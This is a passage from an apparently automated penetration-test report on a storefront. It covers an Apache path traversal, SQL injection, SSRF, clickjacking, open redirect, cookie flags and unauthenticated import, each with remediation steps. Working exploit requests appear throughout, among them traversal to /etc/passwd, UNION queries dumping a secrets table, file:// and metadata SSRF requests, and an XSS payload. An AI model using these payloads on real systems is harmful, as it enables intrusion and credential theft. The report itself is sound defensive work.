The backend Apache 2.4.49 (Unix), reachable through a frontend Apache/2.4.54 proxy, is vulnerable to the CVE-2021-41773/CVE-2021-42013 path traversal flaw. The frontend proxy forwards double-encoded dot-segments (`.%%32%65`) without normalizing them, so the backend decodes them to `../` after the DocumentRoot check and escapes the web root. This allows an unauthenticated attacker to read arbitrary files readable by the server user, such as /etc/passwd and /bin/sh.

Business Impact

An unauthenticated attacker can read arbitrary files on the backend server, exposing configuration files, application source, logs, and stored credentials such as database passwords and API keys. Because the same traversal reaches /bin/sh through mod_cgi, the file read can escalate to full remote code execution, giving attackers control of the host and access to any data it serves. This exposes the organization to data breach liabilities, compliance violations, and potential full compromise of the backend infrastructure.

Proof of Concept

Setup

No authentication required. Frontend `Apache/2.4.54 (Debian)` proxies to backend `Apache/2.4.49 (Unix)`.

Exploit

```bash
curl -s 'http://storefront.example/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
```

Verification

Response is `200 OK` with `Server: Apache/2.4.49 (Unix)`, `content-length: 926`, and body:

```text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

The full `/etc/passwd` of the backend host is returned - traversal escapes the DocumentRoot and reads arbitrary files. The same prefix `.../bin/sh` returned the ELF binary bytes of `/bin/sh`.

Cleanup

No persistent state was created.

Remediation

Immediate action

Upgrade the backend Apache HTTP Server from 2.4.49 to a patched release (2.4.51 or later) that fixes CVE-2021-41773/CVE-2021-42013.

Steps

1. Upgrade the backend Apache HTTP Server from 2.4.49 to 2.4.51 or later, which fixes CVE-2021-41773 and CVE-2021-42013.
2. Configure the frontend proxy to normalize URL paths before forwarding, so double-encoded dot-segments such as %%32%65 are decoded and rejected prior to reaching the backend.
3. Set the backend DocumentRoot with 'Require all denied' for directories outside the web root and avoid enabling mod_cgi or cgi-bin handlers on the affected host.
4. Rotate any credentials or secrets stored in files readable by the Apache server user, since they may have been exposed via arbitrary file read.

20. Unauthenticated SQL injection in wishlist.php?id= (UNION-based and time-based blind)

Severity	HIGH
Status	Open
OWASP Category	A03:2021-Injection
CWE ID	CWE-89
Endpoint	GET /wishlist.php
Parameter	id
Estimated Effort	Medium 16h

Description

The `id` GET parameter of /wishlist.php, a public wishlist share-link page, is interpolated directly into a mysqli query without parameterization. An attacker can break out of the string context with a single quote (triggering a mysqli error at line 42), control query logic with boolean payloads, and use 3-column UNION SELECT statements whose second column renders attacker-controlled SQL output as the wishlist name. This enables full unauthenticated extraction of the database schema and the entire `secrets` table, including cloud and payment credentials.

Business Impact

An unauthenticated attacker can exfiltrate the entire application secret store, including AWS credentials, Stripe webhook secrets, JWT signing keys, and API master keys, enabling full cloud infrastructure takeover, payment fraud, and forged authentication tokens. The database also contains customer orders, promo codes, and contact inquiries, exposing PII and financial data with potential PCI DSS, GDPR, and SOC 2 compliance violations. Evidence of prior write activity in the products table suggests attackers may already have established persistence or planted malicious content.

Proof of Concept

Setup

No authentication required - /wishlist.php is a public page. The `?id=` parameter (wishlist share token) is used raw in a SQL query.

Exploit

1. Confirm the injection - a single quote breaks the query:

```http
GET /wishlist.php?id=bf0f10ccb6c78868' HTTP/1.1
Host: storefront.example
```

Response emits `Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in /app/[REDACTED-PATH] on line 42`.

2. Arbitrary row selection - `' OR 1=1-- -` - returns a different wishlist ("TestWishlist", 3 items) proving query control.

3. UNION-based extraction (3 columns; column 2 renders as the wishlist name) - dump the DB version and schema:

```bash
curl "http://storefront.example/wishlist.php?id='+UNION+SELECT+1,version(),3--+-"
curl "http://storefront.example/wishlist.php?id='+UNION+SELECT+1,(SELECT+GROUP_CONCAT(table_name)
+FROM+information_schema.tables+WHERE+table_schema=DATABASE()),3--+-"
```

4. Dump the `secrets` table:

```bash
curl "http://storefront.example/wishlist.php?id='+UNION+SELECT+1,(SELECT+GROUP_CONCAT(secret_key,':',
secret_value+SEPARATOR+'|')+FROM+secrets),3--+-"
```

Verification

The wishlist name in the response (<h2> element) contains the exfiltrated data:

```html
<h2><i class="fas fa-heart text-danger"></i> database_backup_key:[REDACTED]|api_master_key:[REDACTED]
|admin_session_secret:[REDACTED]</h2>
```

Full application secret store exfiltrated by an unauthenticated attacker.

Cleanup

No state was persisted (read-only injection).

Remediation

Immediate action

Replace the string-interpolated mysqli query in /wishlist.php with a prepared statement that binds the id parameter, and rotate all credentials exposed in the secrets table.

Steps

1. Rewrite the wishlist query in /wishlist.php to use mysqli prepared statements with a bound parameter for the id value
2. Rotate every credential in the secrets table, including the AWS secret access key, Stripe webhook secret, JWT signing key, API master keys, Redis password, SMTP key, and OAuth client secret
3. Audit the products table and other writable tables for attacker-planted data such as the /etc/passwd and base64 token entries
4. Suppress PHP error output in production so mysqli warnings do not disclose file paths and query structure
5. Restrict the database user used by the application to least-privilege grants so information_schema and cross-table reads are limited

21. Unauthenticated SSRF with arbitrary file read via catalog/compare url1/url2/url3

Severity	MEDIUM
Status	Open
OWASP Category	A10:2021 Server-Side Request Forgery
CWE ID	CWE-918
Endpoint	POST /catalog/compare
Parameter	url1, url2, url3
Estimated Effort	Medium 24h

Description

The price comparison endpoint /catalog/compare accepts up to three attacker-supplied URLs (POST parameters url1/url2/url3) and fetches them server-side using file_get_contents() with no scheme, host, or IP validation. Because the fetched response body and headers are rendered raw back into the page, this is a full-response (non-blind) SSRF that also enables arbitrary local file read via the file:// wrapper. The flaw was demonstrated by reading /etc/passwd and the application's DB config, reaching the GCP instance metadata service at storefront.example, and probing internal loopback ports via verbose error messages that disclose the consuming PHP function.

Business Impact

An unauthenticated attacker can read arbitrary server files and exfiltrate the application's live database credentials, giving direct access to the quickshop database and any sensitive customer or transaction data it holds. The application VM can reach the GCP instance metadata service, so a minor refactor of the fetch code or a token file read would yield cloud service-account credentials, potentially compromising the entire cloud project. Exploitation also enables internal network reconnaissance, paving the way for lateral movement against internal services such as MySQL and Redis.

Proof of Concept

Setup

No authentication required. `GET /catalog/compare?product=36` selects a product and exposes the POST form; the POST needs `product_id`, `url1`, and `compare`.

Exploit - arbitrary local file read (file://)

```http
POST /catalog/compare?product=36 HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded

product_id=36&url1=file:///etc/passwd&url2=&url3=&compare=1
```

The response embeds the full file contents in `#raw-content-0`:

```text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

Exploit - exfiltrate the database credentials

```http
POST /catalog/compare?product=36 HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded

product_id=36&url1=file:///app/[REDACTED-PATH]
```

Response `#raw-content-0` contains the raw PHP source:

```php
<?php
$host = 'mysql';
$username = 'quickshop';
$password = '[REDACTED]';
$database = 'quickshop';

$conn = mysqli_connect($host, $username, $password, $database);
...
define('ADMIN_EMAIL', 'user@example.com');
?>
```

Exploit - cloud metadata service reachability

```http
POST /catalog/compare?product=36 HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded

product_id=36&url1=http://metadata.example/latest/meta-data/&url2=http://metadata.example/
computeMetadata/v1/instance/name&url3=&compare=1
```

The tool renders the metadata server's HTTP response headers verbatim:

```text
HTTP/1.0 404 Not Found
Metadata-Flavor: Google
Server: Metadata Server for VM
```

and a 403 for `/computeMetadata/v1/instance/name` (the v1 API requires the `Metadata-Flavor: Google` request header, which plain file_get_contents cannot send).

Exploit - internal port probing with verbose errors

```http
POST /catalog/compare?product=36 HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded

product_id=36&url1=http://loopback.example/api.php&url2=http://loopback.example&url3=http://
loopback.example&compare=1
```

Each result card echoes a detailed error, e.g.:

```
file_get_contents(http://loopback.example): failed to open stream: Connection refused
```
TEXT

Verification

The `file:///etc/passwd` and `file:///app/[REDACTED-PATH]` requests return `200 OK` with the actual file bytes rendered in the page's `Full Response Body` block (`Response size: 922 bytes` for /etc/passwd). The metadata probes return the GCP metadata server's own `Server: Metadata Server for VM` header, proving the request originated from inside the cloud VM's network namespace.

Cleanup

No state was persisted (the tool performs GET-style fetches only).

Remediation

Immediate action

Replace the raw file_get_contents() fetch with a validated HTTP client that enforces an allowlist of permitted schemes, hosts, and IP ranges before any request is made.

Steps

1. Reject any url1/url2/url3 value that is not an http(s) URL on an allowlisted public host, explicitly blocking file://, ftp://, php://, data://, and other wrappers.
2. Resolve the target hostname server-side and block requests to private, loopback, and link-local ranges (storefront.example/8, storefront.example/8, storefront.example/12, storefront.example/16, storefront.example, metadata.google.internal) including on redirects.
3. Render only the fetched response body (never raw headers) in the page, and suppress or sanitize PHP error messages so internal function names and connection results are not disclosed.
4. Rotate the exposed database credentials (quickshop/quickshop123) and restrict the mysql service so it is not reachable from the attacker's network position.
5. Enforce GCP metadata hardening by enabling v2 metadata endpoints with header requirement, and move service-account tokens out of paths readable by the web server user.

22. Clickjacking: 3 pages missing frame-protection headers

Severity	LOW
Status	Open
OWASP Category	A04:2021 - Insecure Design
CWE ID	CWE-1021
Endpoint	GET /[REDACTED].php
Also affects	storefront.example/redirect.php storefront.example/images
Estimated Effort	Trivial 1.5h

Description

Three HTML pages served by the application at storefront.example omit both the X-Frame-Options header and a Content-Security-Policy frame-ancestors directive. Because no frame-protection headers are present, browsers will render these pages inside an iframe embedded from any origin. This enables clickjacking: an attacker overlays a near-invisible iframe of the target page on a decoy site so that victim clicks are delivered to sensitive actions (e.g., 'Delete Account', 'Approve Transfer') while the victim's authenticated session cookies are sent automatically.

Business Impact

Attackers can trick authenticated users into unknowingly performing sensitive actions such as deleting accounts or approving financial transfers, leading to direct financial loss and unauthorized account changes. Because the actions execute under the victim's legitimate session, they appear as valid user activity, complicating fraud detection and dispute resolution. Successful clickjacking campaigns can also erode customer trust and expose the organization to compliance and liability concerns around unauthorized transactions.

Proof of Concept

Setup

Anonymous attacker; victim has an active session at the target.

Affected pages

- `http://storefront.example/[REDACTED].php`
- `http://storefront.example/redirect.php`
- `http://storefront.example/images/`

Exploit

1. Confirm the response omits frame-protection headers (using one of the affected pages):

```bash
curl -I 'http://storefront.example/[REDACTED].php' | grep -iE 'x-frame|content-security'
```

Empty output - no `X-Frame-Options` and no `Content-Security-Policy: frame-ancestors` directive.

2. Host an attacker page that embeds the target in a near-invisible iframe:

```html
<iframe src="http://storefront.example/[REDACTED].php"
 style="opacity: 0.001; position: absolute; top: 0; left: 0; width: 100%; height: 100%;"></iframe>
```

Verification

Loading the attacker page in a browser where the victim has an active session shows the framed app load successfully (no anti-frame error). Clicks on the visible page propagate to the underlying iframe - confirming clickjacking is exploitable. The same defect applies to every page listed above.

Remediation

Immediate action

Add frame-protection headers to all HTML responses by setting X-Frame-Options: DENY or a Content-Security-Policy frame-ancestors 'none' directive.

Steps

1. Set the X-Frame-Options: DENY (or SAMEORIGIN if same-site framing is required) header on all HTML responses at the web server or reverse proxy level
2. Add a Content-Security-Policy header including frame-ancestors 'none' to all pages
3. Apply the headers globally via middleware or server configuration so new pages inherit frame protection by default

23. Session/Auth Cookie Missing Security Flags

Severity	INFO
Status	Open
OWASP Category	A05:2021 - Security Misconfiguration
CWE ID	CWE-1004
Endpoint	GET /[REDACTED].php
Parameter	Set-Cookie
Also affects	storefront.example/redirect.php
Estimated Effort	Trivial 1.5h

Description

The PHP application sets the PHPSESSID session cookie on multiple endpoints without the HttpOnly, Secure, or SameSite attributes. Because HttpOnly is absent, client-side JavaScript can read the session cookie, meaning any XSS vulnerability escalates directly to full session hijacking. The missing Secure flag allows the cookie to be transmitted over plaintext HTTP, and the missing SameSite flag exposes authenticated requests to cross-site request forgery.

Business Impact

An attacker who steals the PHPSESSID cookie via XSS or plaintext interception can impersonate legitimate users and access their accounts and any sensitive data within them. Session hijacking combined with CSRF exposure could enable unauthorized transactions, data exfiltration, and account takeover. This creates risk of regulatory penalties for exposed personal data, loss of customer trust, and potential financial fraud liability.

Proof of Concept

Reproduction

Request any page that issues the session cookie and inspect the `Set-Cookie` response header:

```
http://storefront.example/[REDACTED].php
 cookie: PHPSESSID - missing HttpOnly, Secure, SameSite
http://storefront.example/redirect.php
 cookie: PHPSESSID - missing HttpOnly, Secure, SameSite
```

The flags above are absent, so the cookie is exposed to the corresponding attack (XSS read for missing HttpOnly, CSRF for missing SameSite, plaintext leak for missing Secure).

Remediation

Immediate action

Configure the PHP session cookie with HttpOnly, Secure, and SameSite flags by setting session.cookie_httponly=1, session.cookie_secure=1, and session.cookie_samesite=Strict in php.ini or via session_set_cookie_params().

Steps

1. Set session.cookie_httponly = 1 so JavaScript cannot read the PHPSESSID cookie
2. Set session.cookie_secure = 1 and enforce HTTPS so the cookie is never sent over plaintext connections
3. Set session.cookie_samesite = Strict (or Lax if Strict breaks legitimate cross-site flows) to mitigate CSRF
4. Audit all Set-Cookie emissions, including any custom header() calls, to ensure the flags are applied consistently across all endpoints

24. Options Indexes directory listing exposed on front-proxy /icons/ alias

Severity	INFO
Status	Open
OWASP Category	A05:2021-Security Misconfiguration
CWE ID	CWE-548
Endpoint	GET /icons/
Estimated Effort	Trivial 1.5h

Description

The front-proxy Apache 2.4.49 server exposes a full mod_autoindex directory listing at the /icons/ alias because Options Indexes (or Options -Indexes) is not disabled in the alias configuration. A GET request to /icons/ returns a 200 response with a complete index of ~150 files including subdirectory entries such as small/, confirming the alias directory is directly handled by the front proxy. While the listed content is stock Apache icons, the listing fingerprints directly-handled paths that enable the CVE-2021-41773/42013 path traversal attacks on the same host.

Business Impact

The directory listing exposes the server's filesystem layout behind the front proxy, giving attackers a map of directly-handled paths they can leverage for path traversal and potential remote code execution via CVE-2021-41773/42013. Successful exploitation of the related traversal vulnerabilities could expose source code, configuration files, and credentials, leading to full server compromise, data breaches, and regulatory consequences. Even at low severity on its own, the misconfiguration signals broader hardening gaps that increase the likelihood of a successful intrusion.

Proof of Concept

Setup

No authentication required; front-proxy Apache 2.4.49 handles /icons/ directly.

Exploit

```http
GET /icons/ HTTP/1.1
Host: storefront.example
```

Verification

`200 OK` with `Content-Type: text/html;charset=ISO-8859-1` and an autoindex page:

```html
<title>Index of /icons</title>
<h1>Index of /icons</h1>
<ul><li><a href="/"> Parent Directory</a></li>
<li><a href="README"> README</a></li>
...
<li><a href="small/"> small/</a></li>
...
</ul>
```

Contrast: GET /cgi-bin/ returns 403 Forbidden and GET /images/ serves the docroot's static "It works!" page (no listing there).

Remediation

Immediate action

Disable directory indexing on the front-proxy Apache configuration by setting Options -Indexes for the /icons/ alias and all other served directories.

Steps

1. Add 'Options -Indexes' (or remove 'Indexes' from Options) to the <Directory> block covering the /icons/ alias in the Apache configuration
2. Upgrade Apache from 2.4.49 to a patched version (2.4.51+) to remediate the related CVE-2021-41773/42013 path traversal vulnerabilities
3. Restrict the /icons/ alias so it is not directly handled by the internet-facing front proxy, proxying only intended application routes
4. Restart or gracefully reload Apache and verify GET /icons/ returns 403 or 404 instead of a directory listing

25. Clickjacking: 37 pages missing frame-protection headers

Severity	LOW
Status	Open
OWASP Category	A04:2021 - Insecure Design
CWE ID	CWE-1021
Endpoint	GET /
Also affects	storefront.example/catalog storefront.example/catalog/search storefront.example/promo.php storefront.example/wishlist.php storefront.example/about.php storefront.example/contact.php storefront.example/category.php storefront.example/catalog/item storefront.example/catalog/compare storefront.example/catalog/import storefront.example/invoices/create storefront.example/check_link.php storefront.example/downloads.php storefront.example/view_media.php storefront.example/rss_parser.php storefront.example/templates/preview storefront.example/order_tracking.php storefront.example/newsletter_subscribe.php storefront.example/external_link.php storefront.example/submit_review.php storefront.example/product_qa.php storefront.example/catalog/{id} storefront.example/catalog/search/{id} storefront.example/promo.php/{id} storefront.example/wishlist.php/{id} storefront.example/about.php/{id} storefront.example/contact.php/{id} storefront.example/catalog/compare/{id} storefront.example/catalog/import/{id} storefront.example/invoices/create/{id} storefront.example/check_link.php/{id} storefront.example/downloads.php/{id} storefront.example/view_media.php/{id} storefront.example/rss_parser.php/{id} storefront.example/templates/preview/{id} storefront.example/order_tracking.php/{id}
Estimated Effort	Low 8h

Description

37 HTML pages served by the application at http://storefront.example omit both the X-Frame-Options header and a Content-Security-Policy frame-ancestors directive, allowing any origin to embed them in an iframe. Because the pages

load successfully inside a frame under the victim's active session, an attacker can overlay a near-invisible iframe and intercept user clicks (clickjacking), causing victims to unknowingly trigger authenticated actions such as account deletion or transaction approval.

Business Impact

Attackers can trick authenticated users into unknowingly performing sensitive actions such as deleting accounts, approving transfers, or submitting data, directly causing financial loss and unauthorized account changes. Because the attack exploits the victim's legitimate session, it bypasses authentication controls entirely and is difficult for victims to detect. Successful clickjacking campaigns can also trigger fraudulent transactions, data integrity violations, and reputational harm to the business.

Proof of Concept

Setup

Anonymous attacker; victim has an active session at the target.

Affected pages

- `http://storefront.example`
- `http://storefront.example/catalog`
- `http://storefront.example/catalog/search`
- `http://storefront.example/promo.php`
- `http://storefront.example/wishlist.php`
- `http://storefront.example/about.php`
- `http://storefront.example/contact.php`
- `http://storefront.example/category.php?cat=/{id}`
- `http://storefront.example/catalog/item?id=136/{id}`
- `http://storefront.example/catalog/compare`
- *...and 27 more*

Exploit

1. Confirm the response omits frame-protection headers (using one of the affected pages):

```bash
curl -I 'http://storefront.example' | grep -iE 'x-frame|content-security'
```

Empty output - no `X-Frame-Options` and no `Content-Security-Policy: frame-ancestors` directive.

2. Host an attacker page that embeds the target in a near-invisible iframe:

```html
<iframe src="http://storefront.example"
 style="opacity: 0.001; position: absolute; top: 0; left: 0; width: 100%; height: 100%;"></iframe>
```

Verification

Loading the attacker page in a browser where the victim has an active session shows the framed app load successfully (no anti-frame error). Clicks on the visible page propagate to the underlying iframe - confirming clickjacking is exploitable. The same defect applies to every page listed above.

Remediation

Immediate action

Add frame-protection headers to every HTML response, either X-Frame-Options: DENY or a Content-Security-Policy frame-ancestors 'none' directive.

Steps

1. Set X-Frame-Options: DENY (or SAMEORIGIN if internal framing is required) on all HTML responses at the web server or reverse-proxy layer
2. Add Content-Security-Policy: frame-ancestors 'none' to all responses, which supersedes X-Frame-Options in modern browsers
3. Apply the headers globally via a centralized middleware or server configuration (e.g., nginx add_header, Apache Header directive, or Express helmet.frameguard()) rather than per-page
4. For pages that must be framed by trusted partners only, use Content-Security-Policy: frame-ancestors with an explicit allowlist of trusted origins

26. Session/Auth Cookie Missing Security Flags

Severity	LOW
Status	Open
OWASP Category	A05:2021 - Security Misconfiguration
CWE ID	CWE-1004
Endpoint	GET http://storefront.example
Parameter	PHPSESSID
Also affects	storefront.example/ storefront.example/catalog storefront.example/catalog/search storefront.example/promo.php storefront.example/wishlist.php storefront.example/about.php storefront.example/contact.php storefront.example/category.php storefront.example/catalog/item storefront.example/catalog/compare storefront.example/catalog/import storefront.example/invoices/create storefront.example/view_media.php storefront.example/rss_parser.php storefront.example/templates/preview storefront.example/order_tracking.php storefront.example/newsletter_subscribe.php storefront.example/external_link.php storefront.example/submit_review.php storefront.example/product_qa.php storefront.example/catalog/{id} storefront.example/catalog/search/{id} storefront.example/promo.php/{id} storefront.example/wishlist.php/{id} storefront.example/about.php/{id} storefront.example/contact.php/{id} storefront.example/catalog/compare/{id} storefront.example/catalog/import/{id} storefront.example/invoices/create/{id} storefront.example/view_media.php/{id} storefront.example/rss_parser.php/{id} storefront.example/templates/preview/{id} storefront.example/order_tracking.php/{id}
Estimated Effort	Low 6h

Description

The application sets the PHPSESSID session cookie across 33 endpoints without the HttpOnly, Secure, or SameSite attributes in the Set-Cookie response header. Because HttpOnly is absent, client-side JavaScript can read the session cookie, meaning any XSS vulnerability escalates directly to full session hijacking. The missing Secure flag permits

transmission over plaintext HTTP (the host itself is served over http://), and the missing SameSite flag exposes the session cookie to cross-site request forgery attacks.

Business Impact

Any XSS vulnerability on the site can be escalated to complete account takeover because the session cookie is readable by JavaScript, exposing customer accounts, order data, and wishlists to attackers. The missing Secure flag combined with plaintext HTTP means session tokens can be sniffed on untrusted networks, enabling session hijacking and fraudulent transactions. Missing SameSite protection additionally allows attackers to perform state-changing actions on behalf of authenticated users, leading to financial loss, customer trust erosion, and potential compliance violations.

Proof of Concept

Reproduction

Request any page that issues the session cookie and inspect the `Set-Cookie` response header:

```
http://storefront.example
 cookie: PHPSESSID - missing HttpOnly, Secure, SameSite
http://storefront.example/catalog
 cookie: PHPSESSID - missing HttpOnly, Secure, SameSite
http://storefront.example/catalog/search
 cookie: PHPSESSID - missing HttpOnly, Secure, SameSite
```

The flags above are absent, so the cookie is exposed to the corresponding attack (XSS read for missing HttpOnly, CSRF for missing SameSite, plaintext leak for missing Secure).

Remediation

Immediate action

Configure the PHP session cookie with HttpOnly, Secure, and SameSite flags by setting session.cookie_httponly=1, session.cookie_secure=1, and session.cookie_samesite=Strict in php.ini or via ini_set before session_start().

Steps

1. Set session.cookie_httponly = 1 in php.ini to prevent JavaScript access to the session cookie
2. Set session.cookie_secure = 1 and serve the application over HTTPS so the cookie is only transmitted over encrypted connections
3. Set session.cookie_samesite = Strict (or Lax) in php.ini to mitigate cross-site request forgery
4. Migrate the application from plaintext HTTP to HTTPS with a valid TLS certificate, including HSTS
5. Regenerate session IDs on authentication using session_regenerate_id(true) to limit the impact of any stolen session tokens

27. Unvalidated open redirect on external_link.php?url=

Severity	LOW
Status	Open
OWASP Category	A01:2021 Broken Access Control (Unvalidated Redirects)
CWE ID	CWE-601
Endpoint	GET /external_link.php
Parameter	url
Estimated Effort	Low 4h

Description

The /external_link.php endpoint issues a 302 redirect whose Location header is taken verbatim from the attacker-controlled `url` GET parameter, with no validation of scheme, host, or allowlist. Because the endpoint is publicly linked from product pages as a share/social link, an attacker can craft links that originate from the legitimate QuickShop domain but redirect victims to any off-origin host. This enables phishing campaigns that leverage the trusted origin and can bypass redirect-based allowlists in downstream tools.

Business Impact

Attackers can send victims links that appear to originate from the legitimate QuickShop domain but silently redirect to attacker-controlled phishing pages, increasing the credibility of credential-harvesting and fraud campaigns. Because the redirect preserves the trusted origin in the initial link, customers and security tools are more likely to be deceived, leading to reputational harm, lost customer trust, and potential financial losses from phishing-related fraud. The open redirect can also be abused to bypass redirect allowlists in downstream security tooling, undermining organizational defenses.

Proof of Concept

Setup

No authentication required - endpoint is public and linked from product pages as a share/social link.

Exploit

```http
GET /external_link.php?product=136&url=http://evil-attacker.example.com/phish HTTP/1.1
Host: storefront.example
```

Verification

Response is `302 Found` with the attacker host copied verbatim into the Location header:

```text
HTTP/1.1 302 Found
Location: http://evil-attacker.example.com/phish
```

The benign default (`url=https://storefront.example/sharer/sharer.php?...`) and an arbitrary off-origin host behave identically - no validation of any kind is performed.

Remediation

Immediate action

Validate the `url` parameter against a strict allowlist of trusted destination hosts before issuing the redirect.

Steps

1. Maintain a server-side allowlist of permitted redirect destinations (e.g., facebook.com sharer, twitter.com intent) and reject any url parameter not matching it
2. Return a 400 error or redirect to a safe default page when the url parameter is missing, malformed, or off-allowlist
3. Avoid echoing user-supplied URLs directly into the Location header; construct redirect targets from fixed server-side templates with only enumerated parameters substituted
4. Add regression tests asserting that off-origin url values never produce a 302 to an unlisted host

28. Stack version disclosure: Apache/2.4.54, PHP/7.4.33 (EOL) in response headers

Severity	LOW
Status	Open
OWASP Category	A05:2021-Security Misconfiguration
CWE ID	CWE-200
Endpoint	GET /catalog
Parameter	response headers (Server, X-Powered-By, X-Server)
Estimated Effort	Low 6h

Description

The application returns detailed technology version banners in every HTTP response, including the Server header (Apache/2.4.54 on Debian), the X-Powered-By header exposing the EOL PHP 7.4.33 runtime, and a custom X-Server header leaking the backend httpd version (Apache/2.4.49). ServerTokens Prod and expose_php=Off are not configured, so both 200 responses and 404/500 error pages disclose exact infrastructure versions. This fingerprinting directly enabled exploitation of CVE-2021-41773/42013 path traversal/RCE against the vulnerable Apache 2.4.49 backend.

Business Impact

Version disclosure gives attackers an exact target map of the infrastructure, including an EOL PHP runtime that no longer receives security patches and a backend Apache version with a known path traversal/RCE vulnerability. This directly contributed to confirmed exploitation of CVE-2021-41773/42013, risking full server compromise, data exfiltration, and operational disruption. Additionally, exposure of EOL software can lead to compliance violations under standards such as PCI DSS that require supported, patched components.

Proof of Concept

Setup

No authentication required.

Exploit

```bash
curl -sI 'http://storefront.example/catalog'
```

Verification

Response headers:

```text
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
X-Server: Apache/2.4.49
```

The `X-Server: Apache/2.4.49` header and the backend `Server: Apache/2.4.49 (Unix)` banner on proxied error responses disclose the backend httpd version, which mapped directly to the confirmed CVE-2021-41773/42013 path-traversal/RCE chain on this host.

Remediation

Immediate action

Suppress all version disclosure by setting ServerTokens Prod and ServerSignature Off in Apache and expose_php=Off in php.ini, and remove the custom X-Server header.

Steps

1. Set ServerTokens Prod and ServerSignature Off in the Apache configuration on both frontend and backend servers
2. Set expose_php=Off in php.ini to remove the X-Powered-By header
3. Remove or rename the custom X-Server response header from the proxy configuration
4. Upgrade PHP from the EOL 7.4.33 to a supported, security-patched version
5. Upgrade or patch the backend Apache httpd 2.4.49 to remediate CVE-2021-41773/42013

29. Unauthenticated XML product import allows arbitrary catalog content injection (catalog/import)

Severity	LOW
Status	Open
OWASP Category	A01:2021-Broken Access Control
CWE ID	CWE-862
Endpoint	POST /catalog/import
Parameter	xml_data
Estimated Effort	Low 6h

Description

The XML product-import feature on /catalog/import (POST xml_data) performs INSERTs into the products table with no authentication and no rate limiting. Any anonymous visitor can create arbitrary product records (name, description, price, category, stock, image) that are immediately published on the public storefront (catalog featured cards, catalog/search results, catalog/item detail pages) to every visitor. This crosses an authentication boundary (public write to a catalog-management function) and enables content spoofing / catalog pollution / phishing entry points. NOTE: the stored-XSS variant of this dyad was tested and does NOT fire - all rendering sinks HTML-encode the imported values (see observedBehavior); the impact is content injection only.

Business Impact

Any anonymous visitor can inject arbitrary product records into the live storefront, enabling brand impersonation, phishing entry points, and polluted search results that erode customer trust in the catalog's integrity. Because there is no rate limiting, attackers can also flood the catalog at scale, creating operational cleanup burden and potential SEO damage from spam content. The attacker-planted records persist with no delete API exposed, prolonging the spoofing window until manual database remediation.

Proof of Concept

Setup

No account needed - /catalog/import import is fully unauthenticated. Everything below was done from an anonymous session (fresh PHPSESSID issued to any visitor).

Exploit

1. Import a product with attacker-controlled fields via POST xml_data (XML entities decode into the field values, so arbitrary text - including HTML-looking strings - lands in the DB):

```bash
curl -i -X POST 'http://storefront.example/catalog/import' \
--data-urlencode 'xml_data=<products><product><name>DYADXSSR7K9 <img src=x
onerror="window.__xss_fired=true"></name><description>Dyadic import tracer DYADXSSR7K9 desc</
description><price>12.34</price><category>electronics</category><stock>7</stock><image>dyad.jpg</
image></product></products>' \
--data-urlencode 'import=1'
```

2. Response contains:

```text
<div class="alert alert-success">
 Successfully imported 1 products! </div>
```

3. Read it back as a completely different anonymous visitor (fresh browser session, no cookies):

```http
GET /catalog/item?id=138 HTTP/1.1
Host: storefront.example
```

```html
<h1 class="mb-3">DYADXSSR7K9 &lt;img src=x onerror=&quot;window.__xss_fired=true&quot;&gt;</h1>
```

The product also renders as the first Featured card on /catalog and in /catalog/search results for any visitor.
The record was proven persisted via the order_tracking.php UNION-SQLi read: `?id=' UNION SELECT 1,2,CONCAT('ID:',id),name,price,category,7,8,9 FROM products WHERE name LIKE '%DYADXSSR7K9%'-- -` → `Customer: ID:138`.

Verification

- Status 200 with `Successfully imported 1 products!` on the import POST.
- GET /catalog/item?id=138 from a fresh session shows the attacker-supplied name/description/price ($12.34) and `Product ID #138`.
- Unauthenticated catalog write is confirmed: no auth header, no CSRF token, no admin role anywhere in the flow.

Cleanup

Tracer products #138 and #139 persist in the products table (the app exposes no delete API). They are inert (all sinks HTML-encode) but pollute the storefront; remove via DB access if desired.

Remediation

Immediate action

Require authenticated, authorized (admin/role-checked) sessions with CSRF protection on the /catalog/import import endpoint before processing any xml_data writes.

Steps

1. Add an authentication and authorization check (e.g., require an admin role) at the top of catalog/import that rejects unauthenticated import requests
2. Implement CSRF token validation on the import POST handler
3. Add input validation and an allowlist for imported product fields including price, category, and stock types, plus rate limiting on the import endpoint
4. Remove the planted tracer products (rows 138 and 139) from the products table via direct database access
5. Consider disabling or restricting the public XML import feature entirely if no legitimate anonymous use case exists

30. javascript: URI rendered raw in feed-link href (link injection)

Severity	LOW
Status	Open
OWASP Category	A03:2021-Injection
CWE ID	CWE-79
Endpoint	POST /rss_parser.php
Parameter	xml_content
Estimated Effort	Low 4h

Description

The parsed-feed renderer copies each item's <link> text into the `Visit Link` anchor href without scheme validation. HTML-special characters in the value are escaped (attribute breakout is not possible), but a `javascript:` URI passes through verbatim, so a parsed feed renders an anchor that executes attacker-supplied JavaScript when clicked, in the QuickShop origin. The same gap allows redirection to any attacker domain. An attacker can social-engineer a victim into parsing their feed ("compare prices with this feed") and clicking the Visit Link button.

Business Impact

An attacker who socially engineers a victim into parsing a crafted feed can execute arbitrary JavaScript in the QuickShop origin, enabling session cookie theft, credential harvesting via injected phishing content, and silent redirection of users to attacker-controlled domains. Such attacks abuse the QuickShop brand and origin to lend credibility to phishing, damaging customer trust and potentially triggering incident-response and compliance obligations if user sessions or data are compromised. The low severity reflects the requirement for victim interaction (clicking the Visit Link button), but successful exploitation directly undermines user trust in the platform.

Proof of Concept

Setup

No authentication required. Victim interaction needed: victim submits the attacker's feed XML (e.g. via a shared "competitor feed" file) and clicks the rendered **Visit Link** button.

Exploit

```HTTP
POST /rss_parser.php HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded

